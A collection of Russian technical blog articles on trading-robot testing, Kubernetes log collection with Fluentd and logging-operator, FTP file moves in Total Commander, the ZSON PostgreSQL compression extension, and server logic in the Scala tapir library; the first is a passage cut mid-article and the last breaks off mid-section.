Безусловно, следует применять все лучшие практики, создавать тесты, правильно проводить приемку кода (пусть даже вы разрабатываете проект в одиночку). И самое главное – перед началом тестов на реальных деньгах, «погоняйте» программу на виртуальных.
Сегодня многие российские брокеры предлагают бесплатную услугу тестового доступа (например, такой [есть](https://iticapital.ru/services/private-services/demo/) у компании-разработчика терминала SMARTx), когда вам дают счет, который почти ничем не отличается от реального, но деньги на нем виртуальные. Как правило, при работе с таким счетом можно торговать на основных рынках – фондовом, валютном, срочном – и работать с основными акциями, фьючерсами и т.п.
В некоторых случаях, можно даже тестировать торговлю с привлечением заемных средств (то есть плечом) – но при создании первого робота еще вопрос, нужно ли добавлять в него такие функции.
Полезные ресурсы для разработчиков приложений для торговли на бирже:
--------------------------------------------------------------------
* [Quantstart: cайт о финансовых технологиях и разработке финансовых приложений](https://www.quantstart.com/articles/Best-Programming-Language-for-Algorithmic-Trading-Systems)
* [Аналитические материалы и статьи на русском языке](https://iticapital.ru/analytics/) | https://habr.com/ru/post/458984/ | null | ru | null |
# Почему нам пришлось писать собственный оператор для логирования в Kubernetes
В данной статье я расскажу про жизненный цикл одной важной задачи - “Настроить сбор/парсер логов в Kubernetes”. Или “Почему мы решили написать свой оператор для сбора логов в Kubernetes”.
#### Оговорочка
Решений по логированию много. Скорее всего о каких-то я просто не знаю (а возможно даже не хочу знать). Эта статья - просто рассказ как я столкнулся с проблемой и к чему привела работа с ней.
Если у Вас есть “Лучшее” решение для логирования в Kubernetes - пишите о нем в комментариях.
#### Предистория
Как-то мне попался довольно важный и жирный кластер Kubernetes (фигово-сбаласнированный bare-metal, но работаем с тем, что имеем), в котором для сбора/парсинга логов использовался [KFO](https://github.com/vmware/kube-fluentd-operator) и который абсолютно не справлялся с поставленной задачей. Однако с задачей отжирания ресурсов кластера Fluentd справлялся на ура.
Данный оператор поднимает одинаковые инстансы FluentD как DaemonSet на всех нодах кластера и собирает все, что указано в CRD fluentdconfigs или в ConfigMap fluentd-config.
Среднее потребление одного пода Fluentd - 800 mCPU (из-за того, что каждый инстанс стартовал с 1 worker’ом, который не умеет использовать больше 1 CPU) и 30 ГБ оперативы.
30 Гб оперативы - это много. В моменте можно было увидеть поды, которые кушают 50 Гб.
Скриншот сделан уже после того, как FluentD был сильно разгружен. Было хужеПроисходит такое по довольно простой причине - буферы переполнены, FluetnD не справляется с нагрузкой.
Посмотреть как чувствуют себя буферы Fluentd можно с помощью метрик: **fluentd\_output\_status\_buffer\_stage\_length**, **fluentd\_output\_status\_buffer\_stage\_byte\_size** - данные о Stage буфере
**fluentd\_output\_status\_buffer\_queue\_length**, **fluentd\_output\_status\_queue\_byte\_size** - данные о Queue буфере.
Почитать про буферы fluentd можно [тут](https://docs.fluentd.org/buffer#how-buffer-works)
Быстро решение - увеличить количество worker’ов в инстансах Fluentd и надеятся, что он справится. (Про workers можно почитать [тут](https://%5B%3Chttps://docs.fluentd.org/deployment/multi-process-workers%3E%5D(%3Chttps://docs.fluentd.org/deployment/multi-process-workers%3E))) Однако в итоговой конфигурации Fluentd используются плагины, которые не умеют в Worker’ы, а оператор KFO не умеет справляться с этой проблемой. Просить разработчиков переписывать их конфиги для сбора логов на новые, без уверенности, что это реально поможет - не очень хотелось.
#### Выбираем решение для логирования
В итоге было принято решение мигрировать на новую систему сбора и парсера логов.
Основные критерии:
1. Возможность настройки сбора логов не только приложений, запущенных в Kubernetes, но и c лог-файлов на нодах кластера Kubernetes. (Например kubernetes audit)
2. Возможность сбора логов journald (kubelet, crio/containerd и т.д.)
3. Разработчики, живущие в кластере, должны иметь возможность сами настраивать **ОТКУДА** собирать логи, **КАК** их обрабатывать и **КУДА** отправлять. Это необходимо, т.к. разработчики довольно часто деплоят новые приложения, у которых разные форматы логов. Идеально было бы внедрить единый формат логов для всех приложений, например json, но давайте на чистоту - такой идеал редко достижим и требует работы очень многих людей. (Так же, если необходимы логи каких-то готовых (опенсорсных) приложений, не факт, что эти приложения умеют в json, а если умеют, не факт, что делают это корректно. Даже сам kubernetes [страдает](https://github.com/kubernetes/kubernetes/pull/111827) от [этого](https://github.com/kubernetes/kubernetes/pull/111828). Ну или попробуйте настроить nginx, чтобы все его логи были в валидном json). Все же были попытки быстро “перепилить” формат логов для продуктовых приложений, но при изменении формата логирования PHP с обычного текста на json словили нехилое падение производительности этого PHP приложения. К тому же такой функционал сильно разгрузит команду DevOps’ов, которым необходимо в ручном формате настраивать сбор и парсинг логов разработчиков.
4. Разработчик должен как-то видеть, когда задеплоенные им правила для логирования невалидны.
5. Система не должна иметь внешних вспомогательный систем. (Типа kafka). Это ограничение связано с тем, что у заказчика очень много кластеров Kubernetes (больших и маленьких) в разных ЦОДах. Если ли бы мы столкнулись с централизированной инфраструктурой, то, скорее всего, развернули классический стек EFK и гоняли бы логи через kafka.
(На данном этапе мы не учли другие важные критерии, из-за чего столкнулись с проблемами, но об этом ниже)
Возможно, это довольно специфические требования, но из них выходит, что нам точно нужен Kubernetes оператор (чтобы удовлетворить пункт #3). Был выбран - [logging-operator](https://github.com/banzaicloud/logging-operator). Хотелось бы сказать, что мы выбрали именно это решение, так как провели кучу тестов и именно этот оператор показал себя с наилучшей стороны, но увы все намного прозаичней. Logging operator был выбран тупо из-за отсутствия альтернатив. На рынке OpenSource решений просто нет ничего другого, что хотя бы приближенно нас устраивало.
Logging operator работает примерно следующим образом: На все ноды кластера с помощью DaemonSet’a устанавливается FluentBit, которые собирает указанные логи и отправляет их в “кластер”(Deployment) FluentD, который парсит и обрабатывает логи, а потом направляет куда нужно.
Хоть мне очень нравится функционал и реализация Logging Operator’a, у него есть ощутимые недостатки. Сначала они казались незначительными, но со временем эксплуатации оператора находились все более серьезные проблемы.
Поделю проблемы на 3 волны:
Первая волна проблем, которая была очевидна еще до начала внедрения Logging operator’а:
* FLuentD. Опять он. Да, в решении Logging operator’a можно распределить нагрузку на FluentD просто заскейлив StatefulSet. Но это все тот же Fluentd
* У Logging operator’a довольно странный механизм контроля и обновления управляемых компонентов. Рассмотрим на примере StatefulSet FluentD. Оператор генерирует StatefulSet и создает его, если его еще нет в кластере. При создании он в специальную аннотацию `banzaicloud.com/last-applied` запихивает сгенерированный StatefulSet в base64-формате. При следующей “проверке” StatefulSet’а, оператор будет сравнивать то, что он сгенерил с тем, что находится в аннотации, и если будут различия - обновит StatefulSet. То есть если кто-то что-то руками поменяет в StatefulSet’e - оператор этого даже не заметит и не восстановит правильное состояние. И так абсолютно со всеми компонентами, которые раскатывает и контролирует оператор. Подробнее о том, как это работает (написано в блоге [BanzaiCloud](https://banzaicloud.com/blog/k8s-objectmatcher/).
* Если разработчик задеплоит в кластер невалидный конфиг для FluentD случится следующее: У CustomResource logging (который отвечает за разворачивание FluentBit и FluentD) в status’e пропишется, что формируемый конфиг невалидный. И пока ошибочная настройка не будет исправлена - новые настройки от других разработчиков не будут применяться. То есть конфигурация для сбора и парсинга логов “зависнет” в последнем “валидном” состоянии и никакие новые настройки применяться не будут. Так же у разработчика нет никаких инструментов, чтобы узнать, что его конфиг невалидный (кроме как увидеть глазами, что его логи не долетают куда надо). То есть пункт #4 из требований - не исполняется.
Мы решили смириться с этими недостатками и мигрировать нашу систему логгирования с KFO на Logging-operator.
Однако в процессе эксплуатации столкнулись со второй волной проблем:
* У logging-operator’а, точно так же как и у KFO, нет под капотом обработки конфига FluentD, если используется больше одного worker’а. То есть один pod FluentD не будет кушать больше 1 CPU. Вроде не так страшно, учитывая, что мы теперь можем скейлить Fluentd и размазывать нагрузку
* Если у вас слишком большой файл конфигурации для Fluentd - он не помещается в Secret (Лимит - 3Мб). А используемые компоненты, которые “подсовывают” файл конфигурации для FluentD не умеют его сжимать\разжимать, как это сделано, например, у Prometheus operator’а. Для решения этой проблемы пришлось пилить собственный [Config-reloader](https://github.com/zvlb/config-reloader) и делать [Pull Request](https://github.com/banzaicloud/logging-operator/pull/1108) в Logging operator.
* Если у вас ДЕЙСТВИТЕЛЬНО большой файл конфигурации, то даже заархивированный он не поместится в аннотацию `banzaicloud.com/last-applied` про которую я писал выше. Лимит размера аннотации в Kubernetes - 262144 байта.
Пока Pull Request не будет принят, приходится жить на собственном форке Logging Operator’a.
В итоге мы имеем небольшую кучу проблем, но некоторые решаемы, а некоторые терпимы. Однако в один прекрасный момент мы сталкиваемся с третьей волной проблем, которая уже стала критической:
* У нас в кластере Kubernetes много пользователей, которые хотят собираться свои логи. Как итог - сгенерированный конфиг для FluentD весит 300мб, На “прочитывание” такого файла у FluentD уходит 2 минуты. Эти 2 минуты FluentD перестает слушать порт и FluentBit получает постоянные ошибки:
```
[2022/09/30 13:06:38] [ warn] [engine] failed to flush chunk '1-1664534047.977042867.flb', retry in 100 seconds: task_id=646, input=tail.0 > output=forward.0 (out_id=0)
[2022/09/30 13:06:38] [ warn] [engine] failed to flush chunk '1-1664537319.791436589.flb', retry in 75 seconds: task_id=440, input=tail.0 > output=forward.0 (out_id=0)
[2022/09/30 13:06:38] [ warn] [engine] failed to flush chunk '1-1664534482.915350881.flb', retry in 83 seconds: task_id=84, input=tail.0 > output=forward.0 (out_id=0)
[2022/09/30 13:06:38] [ warn] [engine] failed to flush chunk '1-1664537526.483173846.flb', retry in 9 seconds: task_id=1308, input=tail.0 > output=forward.0 (out_id=0)
[2022/09/30 13:06:38] [ warn] [engine] failed to flush chunk '1-1664534736.954314071.flb', retry in 111 seconds: task_id=1839, input=tail.0 > output=forward.0 (out_id=0)
```
Когда файл конфигурации перечитывается FluentD опять начинает слушать порт - он разбирает все, что накопилось и прилетающие свежие логи. Но не успевает FluentD все разгрести, как ему прилетает новая команда на чтение уже нового файла конфигурации и он опять перестает слушать порт. Логи опять накапливаются и вся система логгирования снежным комом превращается в труху.
* Вторая проблема нашлась в FluentBit. В Логах постоянно проскальзывают ошибки:
```
[2022/10/26 12:58:58] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/10/26 12:58:59] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/10/26 12:59:04] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/10/26 12:58:49] [ warn] [input] tail.0 paused (mem buf overlimit)
```
Повышение размера буфера до 1Gb снизила частоту появления ошибок, но ошибки остались. Есть простой фикс - увеличить частоту отправки данных из буфера input в буфер output (Вот в [этой](https://habr.com/en/post/675728/) статье неплохо об этом написано). Делается это с помощью поля [Flush](https://docs.fluentbit.io/manual/v/1.9-pre/administration/configuring-fluent-bit/classic-mode/configuration-file#config_section), который имеет формат `seconds.nanoseconds`. Однако у Logging-operator’a это поле в формате [Integer](https://banzaicloud.com/docs/one-eye/logging-operator/configuration/crds/v1beta1/fluentbit_types/#fluentbitspec-flush). Соответственно мы не можем поставить меньше 1 секунды (дефолтного значения, который устанавливает Logging operator). То есть мы можем решить эту проблему, используя ванильный FluentBit, но раскатывая его через Logging-operator - хрен нам. (Pull Request на решение этой проблемы где-то в пути)
* Третья проблема связана с самой первой проблемой, описанной в первой волне недостатков logging-operator’a. Мы работаем с FluentD :) Не буду разглагольствовать. Суть в том, что FluentD тупо не вывозит нагрузку. Возможно это связано с тем, что генерируется СЛИШКОМ много логов (по мнению FluentD), возможно много ресурсов уходит на процессинг логов. Возможно проблема связана еще с чем-то. Но вот как выглядит картина, когда у нас “много” логов, и 40 подов FluentD:
+ FluentBit собирает логи с нод и отправляет в FluentD. В Логах FluentBit периодически проскальзывают ошибки:
```
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788378.238439157.flb', retry in 8 seconds: task_id=1004, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788378.885702920.flb', retry in 10 seconds: task_id=916, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788378.893210979.flb', retry in 7 seconds: task_id=943, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788378.962421224.flb', retry in 10 seconds: task_id=994, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788379.492231948.flb', retry in 8 seconds: task_id=1003, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788356.895153182.flb', retry in 15 seconds: task_id=878, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788357.885380444.flb', retry in 14 seconds: task_id=855, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788362.277494203.flb', retry in 8 seconds: task_id=949, input=tail.0 > output=forward.0 (out_id=0)
[2022/10/26 12:46:29] [ warn] [engine] failed to flush chunk '1-1666788361.891491363.flb', retry in 15 seconds: task_id=889, input=tail.0 > output=forward.0 (out_id=0)
```
(Уточню, что на момент появления этих ошибок у Logging-operator’а выключен configcheck. Соответственно FluentD не обновляется каждые 10 минут и ошибка не связана с первой из 3 волны)
+ Ошибки эти связанны с тем, что FluentD тупо не успевает читать сообщения и у него накапливаются сообщения в сокете, который он слушает.
```
$ netstat -ntpl
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:24444 0.0.0.0:* LISTEN 7/ruby
tcp 0 0 0.0.0.0:24231 0.0.0.0:* LISTEN 166916/ruby
tcp 1022 0 0.0.0.0:24240 0.0.0.0:* LISTEN 166916/ruby
tcp 0 0 :::9533 :::* LISTEN -
```Логично, что у нас кластер FluentD не справляется с нагрузкой. Что нужно сделать? Правильно - заскейлить. (Сначала посмотреть метрики работы FluentD и его буферов, увидеть ужас, и реально заскейлить). В [Issue](https://github.com/fluent/fluentd/issues/3911) на эту тему сказали тоже самое. Окей. Скейлим кластер FluentD до 100 и видим, что у нас НИЧЕГО НЕ ИЗМЕНИЛОСЬ. Только ресурсов кластера теперь жрется в 2 раза больше. Я бы доскейлил количество подов FluentD до 200, но ресурсы в кластере K8s не резиновые.
#### Вывод
Вывод простой - “Мы в дерьме”.
А если смотреть позитивно, то мы сделали следующие выводы:
1. Необходимо более тщательно и разнообразно проверять технические решения, перед тем, как тащить их в прод и предлагать пользователям. Не стоит надеятся, что Опенсорс решение с 1к звезд сможет вас удовлетворить.
2. Необходимо другое решение. А поскольку других удовлетворяющих требованиям решений нет - необходимо создавать свое.
Вот именно по этому мы решили написать свой [Оператор](https://github.com/kaasops/vector-operator) на базе [Vector](https://vector.dev). | https://habr.com/ru/post/698526/ | null | ru | null |
# Lifehack FTP: переносим папки и файлы
Иногда требуется перенести ~~*не*~~большое количество файлов и/или папок на сервере, а доступа через ssh нет и не предвидится в будущем.
Попробуем решить эту задачу с помощью Total Commander.
#### Первое решение *«в лоб»* которое приходит в голову:
> 1. Копируем все на локальный компьютер
> 2. создаем папку `old`
> 3. аплоадим все обратно
> 4. Удаляем ненужные копии.
>
Долго и неинтересно; + такое решение подойдет нам только если имеем широкий канал и крепкие нервы.
#### Multi-Rename Tool
> 1. Выделяем контент который хотим перенести
> 2. `Ctrl+M`, вводим в поле Rename mask что-то вроде этого: `old_[N]` **Start!**
> 3. `Ctrl+M`, Rename mask: `[N]`
>
> Search for: `old_`
>
> Replace wirh: `old/` **Start!**
> 4. ...
> 5. Profit!
>
Все! Все данные перенесены в директорию `old` без затрат трафика.
P.S. Второй и третий пункт можно было бы заменить одним, но при попытке переименования файлов сразу на `old/[N]` получаем ошибку:
 | https://habr.com/ru/post/103043/ | null | ru | null |
# ZSON: расширение PostgreSQL для прозрачного сжатия JSONB
Недавно мы выложили на GitHub [ZSON](https://github.com/afiskon/zson). ZSON — это расширение к PostgreSQL для прозрачного сжатия JSONB-документов. Сжатие осуществляется путем выделения строк, наиболее часто встречающихся в ваших документах, и построения словаря с этими строками. Притом строки могут быть не только ключами документа, но и значениями или, например, строками из вложенных массивов. В некоторых случаях ZSON позволяет уменьшить размер базы до двух раз и увеличить количество транзакций в секунду на 10%. В shared buffers документы хранятся в сжатом виде, за счет чего память тоже экономится.
Интересно? Читайте дальше, и вы узнаете, как пользоваться всем этим хозяйством на практике.
### Замечания
Прежде, чем перейти к основному содержимому статьи, хочется отметить несколько моментов:
* Бенчмарк ZSON'а в данной статье не приводится. Заинтересованные читатели могут [ознакомиться с ним здесь](https://github.com/afiskon/zson/blob/master/docs/benchmark.md). Примите во внимание, что на практике все очень сильно зависит от ваших данных, конфигурации, железа, версии СУБД и других факторов. [Не верьте синтетическим бенчмаркам](https://eax.me/benchmarks/), проверяйте все самостоятельно!
* Вопрос написания расширений для PostgreSQL выходит за рамки этой статьи. Заинтересованные читатели могут [ознакомиться с отдельной статьей по данной теме](https://eax.me/postgresql-extensions/), и далее по ссылкам. Тому, как ZSON работает внутри, если это кому-то интересно, я могу посвятить отдельную статью.
* PostgreSQL имеет встроенный алгоритм сжатия — PGLZ. ZSON не заменяет, а дополняет его. PGLZ сжимает каждый документ в отдельности. Он не может обнаружить, что в разных документах встречаются одни и те же строки. ZSON находит эти строки и заменяет их на 16-и битовые коды. Затем документы сжимаются PGLZ, как обычно (или не сжимаются, если итоговый документ маленький и/или не жмется).
### Установка
Сборка ZSON из исходников и его установка осуществляются так:
```
git clone https://github.com/afiskon/zson.git
cd zson
sudo make install
```
После установки прогоните тесты:
```
make installcheck
```
Включите ZSON для вашей базы данных:
```
create extension zson;
```
Поздравляю, ZSON установлен!
### Удаление
Когда и если вы захотите удалить ZSON, просто выключите его:
```
drop extension zson;
```
А затем совсем выпилите из PostgreSQL:
```
sudo make uninstall
```
Все созданные ZSON'ом типы, таблицы и так далее, будут вычищены автоматически.
### Использование
Первым делом вы должны обучить ZSON на ваших типичных документах. В результате обучения строится словарь с наиболее часто встречающимися в ваших документах строками, который потом используется для сжатия. Обучение происходит с помощью следующей процедуры:
```
zson_learn(
tables_and_columns text[][],
max_examples int default 10000,
min_length int default 2,
max_length int default 128,
min_count int default 2
)
```
Например:
```
select zson_learn('{{"table1", "col1"}, {"table2", "col2"}}');
```
Посмотреть получившийся в итоге словарь можно так:
```
select * from zson_dict;
```
Теперь вы можете использовать ZSON, как прозрачную замену типа JSONB:
```
zson_test=# create table zson_example(x zson);
CREATE TABLE
zson_test=# insert into zson_example values ('{"aaa": 123}');
INSERT 0 1
zson_test=# select x -> 'aaa' from zson_example;
-[ RECORD 1 ]-
?column? | 123
```
Все операторы и процедуры будут работать с ZSON точно так же, как и с JSONB.
### Миграция на новый словарь
По мере изменения схемы ваших документов сжатие может стать неэффективным из-за исчезновения одних строк и появления других. В этом случае вы можете переобучить ZSON на новых данных:
```
select zson_learn('{{"table1", "col1"}, {"table2", "col2"}}');
```
При этом создается новая версия словаря. При обновлении и создании новых документов они будут сжиматься с его помощью. Старые документы будут разжиматься с помощью той версии словаря, с которой они были сжаты. Обратите внимание, что словари кэшируются в памяти. Поэтому ZSON узнает о новом словаре не сразу, а спустя примерно минуту после его создания.
Определить, с помощью какой версии словаря был сжат конкретный документ, можно при помощи процедуры zson\_info:
```
zson_test=# select zson_info(x) from test_compress where id = 1;
-[ RECORD 1 ]---------------------------------------------------
zson_info | zson version = 0, dict version = 1, ...
zson_test=# select zson_info(x) from test_compress where id = 2;
-[ RECORD 1 ]---------------------------------------------------
zson_info | zson version = 0, dict version = 0, ...
```
Если вы **абсолютно уверены**, что **все** документы в вашей базе сжаты с помощью новой версии словаря, вы можете безопасно удалить старый словарь:
```
delete from zson_dict where dict_id = 0;
```
На практике, впрочем, в этом мало смысла. Вы сэкономите лишь пару килобайт места на диске. Параноик внутри меня считает, что риск потерять данные из-за маааленькой невнимательности того не стоит.
### Как понять, что нужно обновить словарь?
К сожалению, трудно рекомендовать универсальный подход. Например, вы можете время от времени проверять средний размер документа в вашей базе:
```
select pg_table_size('tt') / (select count(*) from tt)
```
Если он стал увеличиваться, значит пришло время обновиться словарь. Еще можно переучивать ZSON просто время от времени, например, раз в год.
Наконец, разработчики приложения сами знают, когда они сильно меняют схему документов. Можно включить переобучение ZSON в миграционные скрипты или инструкцию по обновлению приложения.
При сильном желании можно придумать и другие подходы. В общем, все сильно зависит от ситуации.
### Заключение
Как видите, благодаря ZSON вы получаете лучшее из двух миров — гибкость schemaless данных, совмещенную с компактностью реляционной модели. При этом на стороне приложения вообще ничего не нужно делать, все происходит прозрачно, на стороне самой СУБД.
Если у вас есть вопросы, я буду рад ответить на них в комментариях. Любой фидбек, а также pull requests горячо приветствуются. | https://habr.com/ru/post/312006/ | null | ru | null |
# Определение серверной логики для конечной точки: три подхода
***Перевод статьи подготовлен в преддверии старта курса [«Scala-разработчик»](https://otus.pw/HvAS/)***
---
Теа, Ральф и Джесси используют [tapir](https://github.com/softwaremill/tapir) для описания своих конечных точек HTTP. Им нравится его удобный для программиста API, способ описания конечных точек, возможность использовать одно и то же описание для генерации [сервера](https://tapir.softwaremill.com/en/latest/server/akkahttp.html), [клиента](https://tapir.softwaremill.com/en/latest/sttp.html) или [документации](https://tapir.softwaremill.com/en/latest/openapi.html), а также его возможности абстракции.
Однако, когда дело доходит до определения серверной логики для конечных точек (то есть, что должно произойти, когда их конечные точки интерпретируются как сервер и подвергаются воздействию внешнего мира), приоритеты у них разнятся. К нашей великой удаче, все три подхода теперь покрыты tapir!
Давайте рассмотрим их один за другим.
*Ральф, Джесси и Теа со своим Тапиром. София Варска*
Теа
---
Теа любит, чтобы все было просто. У нее есть один модуль, в котором определены все конечные точки ее приложения. Каждая конечная точка является специализацией **baseEndpoint**, которая включает в себя стандартные части: префикс пути и тип ошибки. Конечная точка содержит описание своих входов и выходов, требуются ли ей параметры запроса, заголовки, каков путь для доступа к ней и как должны выглядеть тела запросов и ответов.
```
import java.util.UUID
import sttp.tapir._
import sttp.tapir.json.circe._
import io.circe.generic.auto._
import sttp.model.StatusCode
case class AuthToken(token: String)
case class Error(msg: String, statusCode: StatusCode) extends Exception
val error: EndpointOutput[Error] = stringBody.and(statusCode).mapTo(Error)
val baseEndpoint: Endpoint[AuthToken, Error, Unit, Nothing] = endpoint
.in(header[String]("X-Authorization")
.description("Only authorized users can add pets")
.example("1234")
.mapTo(AuthToken))
.in("api" / "1.0")
.errorOut(error)
```
Также мы видим некоторые метаданные, такие как примерные значения параметров или удобочитаемые описания конечных точек. Однако определения полностью отделены от любой бизнес-логики:
```
case class User(id: UUID, name: String)
case class Pet(id: UUID, kind: String, name: String)
val getPet: Endpoint[(AuthToken, UUID), Error, Pet, Nothing] =
baseEndpoint
.get
.in(query[UUID]("id").description("The id of the pet to find"))
.out(jsonBody[Pet])
.description("Finds a pet by id")
val addPet: Endpoint[(AuthToken, Pet), Error, Unit, Nothing] =
baseEndpoint
.post
.in(jsonBody[Pet])
.description("Adds a pet")
```
Только позже описания конечной точки соединяются с кодом, который должен быть запущен, когда вызывается конечная точка. Это также тот момент, когда пора переходить к определенному эффектвраперу. Теа использует **Future** для управления параллелизмом и объединения операций ввода-вывода, поэтому все ее методы бизнес-логики возвращают **Future**.
```
import scala.concurrent.Future
import scala.concurrent.ExecutionContext.Implicits.global
// должен завершиться с Error, если пользователь не найден
def authorize(authToken: AuthToken): Future[User] = ???
def findPetForUser(user: User, id: UUID): Future[Option[Pet]] = ???
def addPetToUser(user: User, pet: Pet): Future[Unit] = ???
val getPetWithLogic = getPet.serverLogicRecoverErrors {
case (authToken, id) =>
authorize(authToken).flatMap { user =>
findPetForUser(user, id).flatMap {
case Some(pet) => Future.successful(pet)
case None => Future.failed(Error("Not found", StatusCode.NotFound))
}
}
}
val addPetWithLogic = addPet.serverLogicRecoverErrors {
case (authToken, pet) =>
authorize(authToken).flatMap { user =>
addPetToUser(user, pet)
}
}
```
Более того, поскольку ошибки, которые использует Теа, являются подклассом **Exception**, а методы бизнес-логики представляют ошибки как неудачные фьючерсы, она может использовать метод для объединения конечной точки с ее серверной логикой, которая восстанавливает ошибки от неудачных эффектов.
Наконец, конечные точки сервера могут быть затем преобразованы, например, к akka-http **Route**, и представлены миру с помощью akka-http сервера.
```
// конечные точки теперь интерпретируются как
akka.http.scaladsl.Route
import akka.http.scaladsl.server.Route
import sttp.tapir.server.akkahttp._
val routes: Route = List(getPetWithLogic, addPetWithLogic).toRoute
// раскрываем маршруты, используя
akka-http
```
Ральф
-----
Ральфу ближе немного другой подход. Как вы могли заметить, все конечные точки нуждаются в аутентификации, и он хотел бы использовать по максимуму этот факт. В случае Ральфа аутентификация основана на токенах предъявителя, отправляемых в заголовке Authorization. Как и у Теи, у Ральфа есть один модуль, в котором определены все конечные точки. Однако, чтобы максимально упростить процесс определения новой аутентифицированной конечной точки, Ральф определил базовую конечную точку, в которую встроена логика аутентификации.
```
import java.util.UUID
import cats.effect.{ContextShift, IO, Timer}
import sttp.tapir._
import sttp.model.StatusCode
case class AuthToken(token: String)
case class Error(msg: String, statusCode: StatusCode)
case class User(id: UUID, name: String)
case class Pet(id: UUID, kind: String, name: String)
def authorize(authToken: AuthToken): IO[Either[Error, User]] = ???
def findPetForUser(user: User, id: UUID): IO[Either[Error, Option[Pet]]] = ???
def addPetToUser(user: User, pet: Pet): IO[Either[Error, Unit]] = ???
```
*Модель и серверная логика, используемые в приложении Ральфа*
Эта базовая конечная точка уже содержит часть бизнес-логики. Эта частичная логика использует все входные данные, определенные до сих пор (отсюда и название метода для его предоставления: **serverLogicForCurrent**), и выдает промежуточный результат (аутентифицированный пользователь):
```
import sttp.tapir.json.circe._
import io.circe.generic.auto._
import sttp.tapir.server.PartialServerEndpoint
val error: EndpointOutput[Error] = stringBody.and(statusCode).mapTo(Error)
val secureEndpoint: PartialServerEndpoint[User, Unit, Error, Unit, Nothing, IO] =
endpoint
.in(auth.bearer[String].mapTo(AuthToken))
.in("api" / "1.0")
.errorOut(error)
.serverLogicForCurrent(authorize)
```
Как только мы предоставим частичную логику, мы получим значение типа **PartialServerEndpoint**. Такая конечная точка может быть дополнительно расширена путем добавления большего количества входов/выходов или предоставления большего количества логических частей (каждый раз потребляя все входы, определенные до сих пор).
Однако ошибки зафиксированы! Это потому, что частичная логика, которую мы предоставили изначально, также может дать сбой — и для этого она должна вызвать либо ошибку, либо промежуточный результат.
Для каждой специализации базовой конечной точки после того, как мы добавили все входы/выходы, мы можем завершить конечную точку, предоставив серверную логику, которая потребляет кортеж: промежуточные результаты (здесь: **User**) и остальные входные данные.
```
val getPetWithLogic =
secureEndpoint
.get
.in(query[UUID]("id").description("The id of the pet to find"))
.out(jsonBody[Pet])
.description("Finds a pet by id")
.serverLogic {
case (user, id) =>
findPetForUser(user, id).map {
case Right(Some(pet)) => Right(pet)
case Right(None) => Left(Error("Not found", StatusCode.NotFound))
case Left(error) => Left(error)
}
}
val addPetWithLogic =
secureEndpoint
.post
.in(jsonBody[Pet])
.description("Adds a pet")
.serverLogic((addPetToUser _).tupled)
```
Вы, вероятно, заметили, что Ральф представляет ошибки как простые **case классы**. Кроме того, Ральф пользуется эффектом типа данных **IO** для управления эффектами в своем приложении. Следовательно, его логические функции возвращают значения типа **IO[Either[Error, \_]]**.
После заполнения частичной серверной конечной точки оставшейся логикой мы получаем **ServerEndpoint** (так же, как и в случае с Теа). Теперь мы можем раскрыть его, используя интерпретатор, который поддерживает **IO** значения, такие как http4s.
```
// the endpoints are interpreted as an http4s.HttpRoutes[IO]
import sttp.tapir.server.http4s._
import org.http4s.HttpRoutes
implicit val ec: ExecutionContext = scala.concurrent.ExecutionContext.Implicits.global
implicit val contextShift: ContextShift[IO] = IO.contextShift(ec)
implicit val timer: Timer[IO] = IO.timer(ec)
val routes: HttpRoutes[IO] = List(getPetWithLogic, addPetWithLogic).toRoutes
// expose routes using http4s
```
Джесси
------
Джесси использует конечные точки tapir не только для предоставления сервера и создания документации по конечным точкам, но также для описания и выполнения клиентских вызовов. Вот почему ее описания конечных точек живут в совершенно отдельном модуле, который зависит только от **tapir-core** и **tapir-json-circe**.
Просто нет никакого способа определить какую-либо часть бизнес-логики вместе с конечными точками. Однако ее требования ничем не отличаются от требований Ральфа. Все ее конечные точки также требуют аутентификации. Она также имеет базовую конечную точку, которая описывает как конечные точки снабжены средствами защиты (здесь, используя cookies):
```
import java.util.UUID
import io.circe.generic.auto._
import sttp.model.StatusCode
import sttp.tapir._
import sttp.tapir.json.circe._
object Endpoints {
case class AuthToken(token: String)
case class Error(msg: String, statusCode: StatusCode) extends Exception
case class User(id: UUID, name: String)
case class Pet(id: UUID, kind: String, name: String)
val error: EndpointOutput[Error] = stringBody.and(statusCode).mapTo(Error)
val baseEndpoint: Endpoint[AuthToken, Error, Unit, Nothing] =
endpoint
.in(auth.apiKey(cookie[String]("Token")).mapTo(AuthToken))
.in("api" / "1.0")
.errorOut(error)
val getPet: Endpoint[(AuthToken, UUID), Error, Pet, Nothing] =
baseEndpoint
.get
.in(query[UUID]("id").description("The id of the pet to find"))
.out(jsonBody[Pet])
.description("Finds a pet by id")
val addPet: Endpoint[(AuthToken, Pet), Error, Unit, Nothing] =
baseEndpoint
.post
.in(jsonBody[Pet])
.description("Adds a pet")
}
```
Однако она не может использовать тот же метод, который описан выше, чтобы определить базовую конечную точку в сочетании с логикой аутентификации. Вот почему она использует другой подход.
Предоставляя серверную логику для конечных точек (которые полностью описаны в отдельном модуле), Джесси использует **serverLogicPart**, чтобы сначала предоставить базовые части серверной логики (логика аутентификации), а затем остальные.
**serverLogicPart** потребляет только часть ввода, определенную на данный момент (в отличии от предыдущих, где потребляется весь определенный ввод). Однако возвращаемое значение типа **ServerEndpointInParts** нельзя использовать для расширения конечной точки большим количеством входов или выходов.
